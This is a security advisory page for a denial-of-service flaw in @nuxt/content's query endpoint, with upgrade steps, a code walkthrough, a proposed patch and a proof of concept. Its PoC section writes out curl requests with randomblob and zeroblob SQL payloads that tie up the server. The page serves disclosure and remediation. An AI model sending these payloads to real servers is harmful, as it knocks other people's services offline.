Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API
CVE-2026-102650 · GHSA-xxrh-5hgg-gj4h · published 10 Nov 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-102650?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
@nuxt/content(npm) >= 3.0.0, < 3.15.2
How to check
- Run
npm ls @nuxt/contentin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
@nuxt/contentto 3.15.2 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
The `POST /__nuxt_content/:collection/query` endpoint in `@nuxt/content` accepts an attacker-controlled `sql` field from the HTTP request body and executes it against a local SQLite database after passing it through an insufficient validator (`assertSafeQuery`). The validator only blocks a small set of SQL command keywords and does not reject expensive SQLite built-in functions such as `randomblob()`, `zeroblob()`, `hex()`, or `length()`. An unauthenticated remote attacker can craft a single request that forces SQLite to allocate hundreds of megabytes of memory and perform CPU-intensive work, causing server-wide denial of service. This endpoint is enabled by default for every collection and requires no authentication.
### Details
The vulnerability spans three source files:
**Route registration — `src/module.ts:207-208`**
The Nuxt Content module registers a public HTTP POST handler for each configured collection at startup:
```ts
// src/module.ts:207-208
addServerHandler({
route: `/__nuxt_content/${collection.name}/query`,
handler: resolver.resolve('./runtime/api/query.post'),
})
```
No authentication middleware is attached; the route is reachable by any client.
**Source (attacker input) — `src/runtime/api/query.post.ts:7-9`**
```ts
// src/runtime/api/query.post.ts
const { sql } = await readBody(event) // line 8 — attacker-controlled
assertSafeQuery(sql, collection) // line 11 — insufficient validation
return loadDatabaseAdapter(conf).all(sql) // line 18 — raw sql passed to sink
```
**Inadequate sanitizer — `src/runtime/internal/security.ts:55-63`**
```ts
if (where) {
const noString = cleanupQuery(where, { removeString: true })
if (noString.match(SQL_COMMANDS)) { // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
}
// No rejection of function calls (randomblob, zeroblob, hex, length, …)
}
```
The denylist matches only six DDL/DML keywords. SQLite resource-consumption functions (`randomblob`, `zeroblob`, `hex`, `length`) are not keywords matched by the regex and therefore pass validation unconditionally.
**Sink — `src/runtime/internal/database.server.ts:26-28`**
```ts
all: async (sql, params = []) => {
return db.prepare(sql).all(...params) // executes the unmodified attacker sql
}
```
`better-sqlite3`'s `prepare().all()` is a synchronous call that blocks the Node.js event loop for the entire duration of the SQLite query. A single malicious request therefore stalls all concurrent request handling.
**Attack chain summary:**
```
Attacker HTTP POST (sql field)
→ query.post.ts readBody() [source]
→ assertSafeQuery() — BYPASS [insufficient validation]
→ loadDatabaseAdapter().all(sql) [propagation]
→ db.prepare(sql).all() [sink — synchronous, blocks event loop]
```
### PoC
**Environment setup**
```bash
git clone https://github.com/nuxt/content.git
cd content
git checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e
pnpm install
pnpm dev:prepare
cd test/fixtures/basic
pnpm dev --host 127.0.0.1 --port 3000
```
**Step 1 — Establish baseline (safe query)**
```bash
curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
-X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
-H 'content-type: application/json' \
--data '{"sql":"SELECT * FROM _content_content WHERE (id = '"'"'1'"'"') ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~0.009s
```
**Step 2 — Attack payload (randomblob variant)**
```bash
curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
-X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
-H 'content-type: application/json' \
--data '{"sql":"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) > 0) ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~2.25s (~598 MB RSS during execution)
```
The payload passes `assertSafeQuery()` because the WHERE clause contains no blocked keywords. SQLite then:
1. Allocates 200 MB of random bytes via `randomblob(200000000)`
2. Hex-encodes the result to a 400 MB ASCII string via `hex()`
3. Computes the string length via `length()`
**Step 3 — Zeroblob variant (allocation-focused)**
```bash
--data '{"sql":"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1"}'
# 1 GB allocation; may trigger OOM termination
```
**Automated PoC (Docker)**
```bash
# Build and run the reproduction container
docker build -f vuln-001/Dockerfile -t vuln001:latest \
reports/github_web_211_nuxt__content
docker run -d -p 3000:3000 --name vuln001-container vuln001:latest
# Run the PoC script (requires Python 3, no third-party packages)
python3 vuln-001/poc.py --host 127.0.0.1 --port 3000
```
**Dynamic reproduction result (phase2):**
| Metric | Value |
|---|---|
| Baseline response time | 0.0088 s |
| Attack response time | 11.82 s |
| Slowdown ratio | **1339×** |
| HTTP status for attack | 200 (not rejected) |
The Node.js event loop was blocked for the full duration of each attack request, confirmed by zero concurrent request throughput during the attack.
**Proposed patch — `src/runtime/internal/security.ts`**
```diff
const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
+const SQL_WHERE_ALLOWED_TOKENS = new Set(['AND', 'OR', 'IN', 'NOT', 'BETWEEN', 'LIKE', 'IS', 'NULL'])
const noString = cleanupQuery(where, { removeString: true })
if (noString.match(SQL_COMMANDS)) {
throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
}
+ const tokens = noString.match(/[A-Z_]\w*/gi) || []
+ if (tokens.some(token => !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {
+ throw new Error('Invalid query: WHERE clause contains unsafe SQL expressions')
+ }
}
```
### Impact
This is an unauthenticated remote denial-of-service vulnerability. Any internet-accessible `@nuxt/co…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/nuxt/content/security/advisories/GHSA-xxrh-5hgg-gj4h
- nvd.nist.gov/vuln/detail/CVE-2026-102650
- github.com/nuxt/content/pull/3819
- github.com/nuxt/content/commit/847d523a48e76d861175b325abf0de40dc5864ed
- github.com/nuxt/content/releases/tag/v3.15.2
- github.com/advisories/GHSA-xxrh-5hgg-gj4h
- github.com/nuxt/content
Merged from GitHub Advisory Database, OSV. Last updated 11 Nov 2026. All vulnerabilities · RSS · JSON